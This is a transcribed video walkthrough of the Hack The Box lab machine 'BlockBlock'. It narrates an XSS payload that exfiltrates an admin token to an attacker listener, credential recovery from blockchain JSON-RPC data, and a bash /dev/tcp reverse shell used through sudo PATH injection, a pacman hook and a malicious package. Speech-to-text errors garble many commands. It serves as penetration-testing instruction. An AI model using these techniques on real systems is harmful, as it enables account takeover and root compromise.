text: what's going on YouTube this is IPC and today we'll be doing block block from hack the box which technically speaking isn't an incredibly hard machine but it uses a lot of new technologies so I think for most people the challenging aspect here is being able to pick up on new technologies as you go at least that was the case with me because this involves blockchain and crypto which are foreign Concepts to me anyways the box starts off with a web 3.0 chat application that's vulnerable to cross-site scripting which is kind of normal but once you get the administrator cookie you need to use some Json RPC endpoint in order to enumerate the blockchain and dump a solidity smart contract which is serving as the chat application's database and that gets you credentials to another user that lets you SSH into the box from here there's two GTFO bins you must

title: HackTheBox - BlockBlock


text: exploit to get to rout neither of which is listed on the GTFO bin website the first is Foundry which is a toolkit for building ethereum applications and the second is Pac-Man which is the package manager for Arch Linux because of course the web 3.0 crypto guy uses Arch anyways that being said let's just jump in as always we're going to start off with an M map so- SCC for default scripts SV enumerate versions - VV for double for Boost this gives us things like the TTL OA output all formats put in the end map directory and call it block block and then the IP address of 1010 11143 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and the banner just tells us it's an open SSH server there's no other information this is pretty stripped down than what we're

title: HackTheBox - BlockBlock


text: used to sing so it's probably some unique Linux dto where they did custom configuration on the SSH server file the other thing we see is HTTP on Port 80 its Banner tells us it's work Zug and python 3.12 and we don't really get much more information so let's just go ahead and take a look at the website so I'm going to go to um HTTP 1010 11.43 and we get a page that says secure decentralized blockchain chat and it looks like a web 3.0 application built on ethereum and if we go over to chat we just see we're missing the cookie token so I'm going to go over to register and we will register the name ipac input password as the password log in and now we have a chat so if I just do test click Send we can send a message and it doesn't look like we get any response back it says we review the smart contracts here and we can look at the

title: HackTheBox - BlockBlock


text: chat application so I'm just going to do print F on this string and we can pipe it over to less I guess and kind of view what this is it looks like a is it solidity is what it um is programmed in uh let's see I don't know much about blockchain honestly what is ethereum soul um Soul law oh that's going to um salana which is another cryptocurrency Dam smart contracts yeah solidity okay so that's what that is um and looking through this I don't really see anything too interesting the thing that really sticks out to me is there's a database smart contract so we can do the print F trick again just to print this easily and looking at this it looks like the database is stored on the blockchain so if we can get access to uh view the blockchain we can potentially get credentials and things like that right uh let's see string password I wonder if

title: HackTheBox - BlockBlock


text: they're changing like where do they store a password do they have that function here Constructor register account it looks like they're not doing any encryption on password I don't see any like hashing around this and I don't know exactly how storing things on the blockchain works but that's just my interpretation right now so let's go ahead and see what else we see um so we just know the chat application powered by smart contracts and the database is on the blockchain as well but we don't have any way to interact with the database so at this point I'm going to do a uh end map scan on all ports so we'll do- p- 10 10 1143 O A I'm just going to call it all ports put in the end map directory and let this run it'll probably take a little while and let's see what else we have we go to profile we can see our profile and the history of messages I'm

title: HackTheBox - BlockBlock


text: guessing this is some like block identifier or something like that um we could try sending HTML so I'm just going to do B test like this and we don't see anything here um my next thought is let's log out I'm going to register again and then we're going to use the username B IPC B and we're testing um crosslite scripting here if we do test it looks like it's properly filtered if I go over to the profile I don't see any of my encodings so what I'm going to do is open the developer tools go over to IPC and we see HTML is here so we probably have a way to do cross-site scripting via the profile page but we need to get someone onto this page um if we go back to the chat there is a report user functionality but also if I had turned burp Suite on I forgot to do that and we looked at this let's just browse all the pages real quick go to home profile this goes a little bit

title: HackTheBox - BlockBlock


text: slow and then we look at the history we see it's going to API and we have an API info and this is giv me the role the token and the username and the token is really good having in this info page for attackers right um because that means if we have cross state scripting we can steal this token even if HTTP only is set to True um let's go take a look at what HTT the cookie looks like so if I go to storage we look at this HTTP only is true which means uh we can't access the cookie directly from JavaScript so we can't like just send the cookie to us but we can use cross site request forgery in order to access this page take the contents of the page which has the token and then send it back to us right because the server is putting the token there not the client JavaScript and this type of attack works a lot on like PHP websites like you may not be

title: HackTheBox - BlockBlock


text: able to get the PHP cookie directly but if there's a page that has PHP info you can trick the users's browser to hit the PHP info page and then send the contents of that to you because the PHP info page contains a list of cookies right so this is a very good um attack the very next thing I would do though is try to enumerate this API a little bit more so if I do let's use Ferro Buster for this so we'll use Ferro Buster and then I think it's - HTP 1010 1143 uh / API and the word list we'll use is opt SEC list Discovery web content r small words. text and the reason why I like uh Fuster for this is it has a way to do multiple options I think it's- capital M maybe I have to escape the dash um I could swear we have multiple options let's just try- m get post uh put unexpected argument let's see can we search back for method lowercase

title: HackTheBox - BlockBlock


text: M so we'll do lowercase M get post put and we can see it's going recursive well recursion is set we probably should disable I'll do don't filter and then the other thing we need is specify the code uh we'll filter status 404 okay so this is generally how I would run like an API scan so we have the URL as API the word list we're filtering out 404s and then we give it multiple methods and 405 what is it error code 405 HTP 405 is that like Gateway errors uh method not allowed so we probably should also uh filter out 405 and let's see we saw a lot of Errors start going up and we can't connect to it so this is probably an indication when we looked at end maap and it was python work Zug there's probably no threading going on so if we tried to do a um dur bust against this application it's probably taking the whole web app

title: HackTheBox - BlockBlock


text: down right we can see info works pretty quickly we're going to start our fuzz and then info starts going to a halt so we should not be fuzzing this application just because we're going to start crashing it so all the type of um information we get from it is just going to be from the page and seeing what our browser does so we saw those API end points the chat had a report feature so let's just go ahead and test this out we're going to do image source is equal to then HTTP 10148 I'm going to put it on Port 8,000 and then we can do slash image and we make sure we're listening on Port 8000 and let's send this click okay and we get a hit back so we do have cross aate scripting in the report feature as well as the profile but the report we can direct them over to us so what I want to do is create a um Javascript file that's going to hit

title: HackTheBox - BlockBlock


text: that API info page for us and send us the data so let's do vp. JS and then we've used this payload a few times so I'm just going to go over it quickly um I always like just doing my JavaScript payloads like this I know this probably isn't going to be standard but I can't stand when they do like the fetch something then like direct it to like I don't understand the syntax of JavaScript that well so this is my boilerplate code where I can work with it easily so I create a function that's just get data and what we're going to do is just um give the response and we'll do await fetch URL and then we can say the result is await response. text and then return result and we need to make sure everything has semicolons and then let's do one for post data and we go like this and then we can say const response is equal to await fetch URL and then we

title: HackTheBox - BlockBlock


text: got to build the post request so we say method is equal to post um the mode is going to be no Cor and if we don't do this then it's going to like request the options first to make sure it can do a post and do other weird things so um I always like just setting no cores on that and then we can set the body to be data uh we may want to set the content type to be XD URL form encoded but we're not going to deal with the web server so I'm not going to worry about that here we're just going to stand stand up netcat and send the data so we can say con result is equal to await response. text return result like that okay and now we can create the pone function so we do async function pone and then let's do const page is equal to await get data HTTP and what we want to do actually make sure we're going to the same page so I'm going to go here look at the

title: HackTheBox - BlockBlock


text: referral because if it use like local host and we use the IP address it's a different page and it's going to have a different cookie so we have to make sure we're doing whatever the user is and we could also just code our um payload to know that information so we could like uh forget exactly the JavaScript syntax to get the URL that the page is on but you could also do that um we just want to get API info I think and then we're going to say post data HTP 101148 we'll send it to 801 and we going to send it the page and then we just call parent so this is our Javascript file all right we're going to get the contents of API info and send it back to us so let's save this we can do python 3-m HTTP server um already in use because our netcat is on that Python 3 mhtp server and then let's do NC lvmp

title: HackTheBox - BlockBlock


text: 801 and the next thing we want to do is build our payload so our JavaScript payload is going to use image source is equal to X because this just fails and then when we do on error now we're in JavaScript so I'm going to remove the image and then we're just going to create a script element so we'll do ver s for script document.createelement and then script like that okay and then we can say the source of the script is going to be HTTP 101148 Port 8000 PJs that's good and then after that we do document body append child to add this to the page that all looks fine slash image there we go let's copy and see if this works so we're going to go here we're going to report the user username to report click okay and we get paone and then we get something else so let's look at this token real quick I'm going to grab this and we can say Echo

title: HackTheBox - BlockBlock


text: DN paste this base 64- D I'm going to pipe it over to JQ just so it's a bit prettier and we have the information of this token we can see when it expires not valid before the subject the type I don't know what jti is but we have the admins token so let's go ahead and add this into a browser so I'm going to go F12 we'll replace the cookie here refresh the page and now we are the admin so if I do ASD we can see yep we are admin if I go to profile I can see the history of sent messages nothing too interesting here but we do have a admin page so I'm going to click on the admin page and if we click dashboard we have four posts three users zero donations to chat we can look at all the post we can go to the users and I guess it just list the users we can't see anything with this so we have three different users

title: HackTheBox - BlockBlock


text: but if we look at the history that we sent while interacting with this admin page we can see we have this Json RPC and um a new API chat address but Json RPC is interesting I'm going to send this over to the repeater so we can see it a bit easier and what we're sending is this eth get balance and then um I forget exactly what that is Maybe the address like the hash address uh if we Google this we can probably figure out quickly so I'm going to Google eth get balance Json RPC API for ethereum and let's see e get balance it's the block this is not the page I was hoping for maybe quick node there we go this is a good documentation page so we get the address and then the block number so this is 38D is this going to be the address of the chat this is me going Googling uh let's filter H shoot just going to click around here

title: HackTheBox - BlockBlock


text: again get these Json RPC things up dashboard come on okay chat address 38 D6 so I don't know exactly what it's using this address for because that's not the one that is going oh it is so 38 D6 is the one that is going in that so at this we're just looking at the latest balance for the chat address I guess so this is probably how it generates um donations is my guess but we can look at other things here right we have like eth accounts so we could just search this method it doesn't accept any parameters so this is a good one to play with just to test so I'm going to do that with no parameters and we have the address here um I'm not exactly sure what this gives us but we're starting to play with this API right so let's go take look at another thing we can do um fee history maybe get account so we give it the account the

title: HackTheBox - BlockBlock


text: address and latest so I'm going to grab this we can put this here e account grab this hash or block I guess put this in and then it wanted like latest method not found so I guess we don't have get account Let's see we have get block by hash or get block by number and I like to get block by number because it's just a incremental number for us right so we should be able just to run this let's do get block by number and with these commands you can either do like the number or a latest earliest type thing so I'm going to do the latest and it does two arguments if we just pasted this we get internal server error so we have the block number it says heximal format or earliest uh latest earliest pending safe for finalized uh we have the transaction detail so I want to get this I want to see the details of the transaction so I'm just going to do true and and there

title: HackTheBox - BlockBlock


text: we go we have the latest um block and here's the information of it and if we look at this this is the input so I'm going to decode this I'm just going to use cyberchef to decode it so I'm going to Google cyberchef and go here and then we will put the input and say from hex and admin as as D maybe that's a account I don't know exactly what that is let's see do we have a block number so this is 0x12 if we go earliest the block number is probably going to be 0x0 what do we have block block numbers AR even there that's weird okay let's see I'm just going to search transactions autoc scroll there we go so I want to look at all the inputs so we had this is ZX12 we can go here and this is going to be the same exact thing so if we grab this paste same thing so we could look at all the blocks so if I go 0x 11 look at this

title: HackTheBox - BlockBlock


text: input this is going to be um the ipsec profile I think I did password to password maybe I use password of test let's try decending by one again so 0x10 go over to the input paste this in and there we go we have IPC and password so I think maybe the test was my message maybe the first message I sent was test and now this is going to be my account um let's see 0x10 so it's going to be 0xf is the next one down we can look at it and we're probably going to get to another message so IPC and then this is me using the chat to test for cross- site scripting so we're just um enumerating the block now right we can go through every number and see what it is so IPC test um what I want to do is let's go to the earliest block which would be 0x0 we had nothing there let's go 0x1 and we have a pretty large input we

title: HackTheBox - BlockBlock


text: can put this in and looking at it this is going to be a um smart contract it is in like this solidity VM or something so we'd have to like get a bite code decompiler and decompile it but we can see the string here we have Kier and then someday Bitcoin will collapse and this is going to be the first user of the database right and we can try sshing with this so we can do SSH Kira at 1010 11 43 and put someday Bitcoin will collapse that's not what it is um let me make sure I get the right thing on my clipboard copy this paste and we get logged in awesome um if we wanted to let's see can we like decompile smart contract ethereum online there's got to be some online thing to get this in to a format we can kind of understand so if I put this decompile and it's going to attempt to uh give us the code for the smart contract so we can analyze it and I do

title: HackTheBox - BlockBlock


text: not really understand this at all um we can go to the bite code as well so this is going to be more like of an assembly type thing if we go to the very end because that's where the actual credential was we can see it's doing M store 8 and then pushing to um the stack if it is even called the stack there and we see we're starting to assemble the password right so that's how that works that's why when we go to cyber Chef we had a bunch of junk because we had um a lot of op codes and things like that right so let's see put this here someday Bitcoin will I guess maybe the bik code is wrong but you kind of get the point I don't know blockchain enough to really explain what's going on here but this is how I went about solving the box so let's go and take a look at what Kira can do we could look at the web application my first bet is normally like dumping the

title: HackTheBox - BlockBlock


text: database but this is all a smart contract so U we already kind of did dump the database we can do pseudo- L and we notice um we can run commands as Paul we can run this Foundry bin Forge and the thing I notice is um pseudo isn't telling me like we got environment reset and things like that so there's actually two ways we can exploit this we can um exploit with path injection and then this also is somewhat of a GTFO bin but if we went to GTFO bins um it's not on the page right so let's go exploit it with path injection real quick so if I went to github.com or let's do GitHub Forge rust let's see can we get to that maybe it's Foundry uh GitHub Foundry rust I think this is it so Foundry is a blazing fast portable modular toolkit for ethereum application development written in Rust so this is probably how they interact with like that Jon RPC and things like that but

title: HackTheBox - BlockBlock


text: all I want to do is find a potential thing for my um path injection so in Rust in order to do like os. system you normally do command command double call and new and we can see they do command new and then the calling get and they don't have a full path of G because this is going to be a portable application it can be stored multiple locations so that's what we're going to want to set so I'm going to uh do a pseudo- Paul I'm going to set the path actually before we do this let's go in Dev shm real quick and I'm going to um V get let's just do bin bash bash d c oh we don't need- C because we're already in bash I'm calling that shebang at the top so bash d i Dev TCP 10148 910 and one like that so we can WG HTTP 10 1048 Port 8,000 G and now let's uh chod plus X on git and we can do pseudo- L pseudo

title: HackTheBox - BlockBlock


text: Paul and then we'll say path is equal to Dev shm and then we're going to run this and see lvmp 91 and we got to Shell back immediately but command not found oh we set the path to Dev shm and that meant like we have no path so bash is not in Dev shm so that's why we couldn't send the shell uh let's do path is equal to Dev shm and then path n cvnp and there we go now we have a shell as Paul now if we looked at the options for this so I'm going to get rid of my path injection real quick so we do um Paul let's see I think I got rid of home was it home Paul there we go uh we could go through all these arguments right and there is a um build flag and if we look at the build flag there is this use it can specify a different version of Sal C to build with and I think this is just a application that um like the solidity compiler right so we can just say uh

title: HackTheBox - BlockBlock


text: build use and we're going to specify Dev shm git and that's going to be a solidity compiler is just this um bash script right and that also gets us a shell so there's two ways probably a lot more ways to do that binary um so let's go CD um home and I'm going to just drop an SSH key because it's always nice having a SSH shell so we do cd. SSH and then let's go in a new pane sh key gen DH um is it d-el and I'm doing help because I always forget what um key I want I like using this ed25519 I wonder if it's default now because I updated my parrot um let's just test this real quick I'm going to call it Paul cat paul. Pub no it's not so I'm going to specify Ed um 25519 cat paul. Pub and there we go this is a much shorter key and I just like it because it copies and pastes better so we can do Echo this to

title: HackTheBox - BlockBlock


text: authorized Keys chod 600 authorized keys and then we can do sh- I Paul Paul at 101 1143 and we get logged in as Paul and if we check pseudo again we can see Paul can run Pac-Man as um route so the first thing I did was search for Pac-Man source code and um it was a little bit tougher than I expected because Pac-Man's also a video game right so um Pac-Man is the like repository maner for Arch Linux if we do a un name- a we can see we are indeed on um Arch right there so if I do Pac-Man GitHub Arch maybe this comes with it there we go but it never calls command new so we can't just exploit it with the uh path injection we did in Foundry because it doesn't like execute bash commands so the next thing to do is um look at what features Pac-Man has so if we do pseudo Pacman DH um let's try to upgrade a package and do DH we can see a bunch of arguments

title: HackTheBox - BlockBlock


text: and one of the arguments is hook directory where is that right there so we can set a alternate hook um directory and what this enables to do is run commands um when Pac-Man is running right so I'm going to go to CD Dev shm and let's see can we just Google Pacman example hook file is that going to go well pack hooks this looks good Hooks and we have a bunch here so if we do hook test we can copy this V test. hook and we're going to paste so what do we want type package Target that's good it's doing all the oper so install upgrade and remove um testing hook we don't need a depends um it does post transaction I think there's a pre-transaction as well and I want to do that just because if the package fails I want to make sure this hook runs I'm going to say send a shell and the exec is going to be Dev shm get right CU we used that

title: HackTheBox - BlockBlock


text: before and I think just did like a multi put or something there we go so if we can't get here that's what it looks like right so what we want to do now is find a um Pac-Man package so if we just Google Pacman package art maybe is this going to get us to the page uh let's see is there a file name we have so we got package names and it ends in PKG tar zst so I'm going to do is a find sl- name star that and I'm going to hide error messages so we have a list of packages here so what I want to do is go back to my pseudo command and I'm going to do D- hooker I think it was a dash Maybe let's see hook no dash I'm going to set to Dev shm so any file that ends in hook it processes right and a hook is a um just saying before you do anything always execute uh Dev shm git which is a reverse shell right so I'm going to stand up a listener on 90001 and then we're just

title: HackTheBox - BlockBlock


text: going to give it a file because if I don't give it a file it doesn't um satisfy Arc PR so it never even attempts to load a hook so we're going to give it that and we can just do yes and we get a shell so there we go and that is the root and we can get root. Tex that way right and there's other things we can do like we don't need to use a hook a hook is just the easiest way um another way we could do it is just creating our own package right um package on Linux generally take files and place them on disk so we could just replace Chron tab or something like that uh we could go to chat jippy and then just say can you give me a package build file for Pacman to extract a new Etsy Chron tab so let's see if this will do it and then while that works I'm going to copy the Etsy cron tab on this box here

title: HackTheBox - BlockBlock


text: I did cat whoops let's do CP vron Tab and then we're going and go every single minute as root uh we'll just execute devm get cuz we already have that reverse shell there you could do b-z b-i but this is just quicker since we have that bash script right so we have the cron tab there and let's see we need to create the package build file looks like this so v um let's see stat Etsy cron tab is it really 644 or is the permission yes it is so V Let's make package V package build paste what chat jippy gave us and let's see I think this is good Source directory I think that's going to be our working directory right so we can move cron tab here and then to tell us how to build it let's see make package DF like that it's building and and make Source let's move Chron tab into the source directory and then run this

title: HackTheBox - BlockBlock


text: again and there we go we have a package so we have new Chron tab right here so we can do pseudo- L pseudo Pacman D and this package I'm also going to listen on 90001 proceed with installation uh conflicting files there is an overwrite so I'm just going to do overwrite star so we can overwrite any package um ety cron tab there we go uh cat Etsy cron tab. pack new so it did not replace let's see V package build let's get rid of that we can probably just we can delete that let's see this may work make package we may need delete that previous package we'll see uh we got a dash one I don't think we had to get rid of it let's see proceed cat Etsy cron tab there we go so without the backup it seems like it worked if we look at date we probably should get a shell in 30 seconds hopefully um so I'm going to do a sleep and we'll resume when this is done and

title: HackTheBox - BlockBlock


text: hopefully we catch the shell immediately okay if everything goes to plan in five4 there it is we have the shell now as um rout so that's the other way we could do it we could either do the hook or just make a malicious package and replace a file we could have also done like an SSH key we could do cron tab there's a bunch of things that you can just replace and do it you could probably also um change the permission bit so bash is now a set u ID binary like you can have code execution as packages um I wonder if let's see um just looking at it we're running install and install is a command right yeah so could we have just done a reverse shell I don't know Dev TCP 10 10 14 8 90001 I'm guessing we can let I don't know why I didn't think of this before um do we have the shell still we do um V Etsy cron tab this is probably going to be horribly

title: HackTheBox - BlockBlock


text: let's see cat ety cron tab let's do said s we start the line with a wild card and then we replace it with a Ampersand wild card is that going to work it is sweet so let's add A- I there and then we can attempt the shell the other way I'm curious if this works it may not because maybe we won't be able to make the package um make package DF let's see what it does failure connection refused we'll accept an exit Grace F okay so let's do that Pacman command and see if it worked I'm guessing it doesn't yeah it does not so um what I'm thinking is that make Command probably puts like the output of the file in package or something like that and then copies it out so I'm sure we could get it working it's just not going to be as straightforward as we hope uh one second let me just try something and then we'll call it the video so this is generally what I would do I would extract

title: HackTheBox - BlockBlock


text: it we can see what it's here build info uh let's see what else do we have the package info package to install so I don't understand how the package works so um maybe we can't just execute commands and the easiest way is replacing a file so with that being said that's going to be the video hope you guys enjoyed it take care and I'll see you all next time

title: HackTheBox - BlockBlock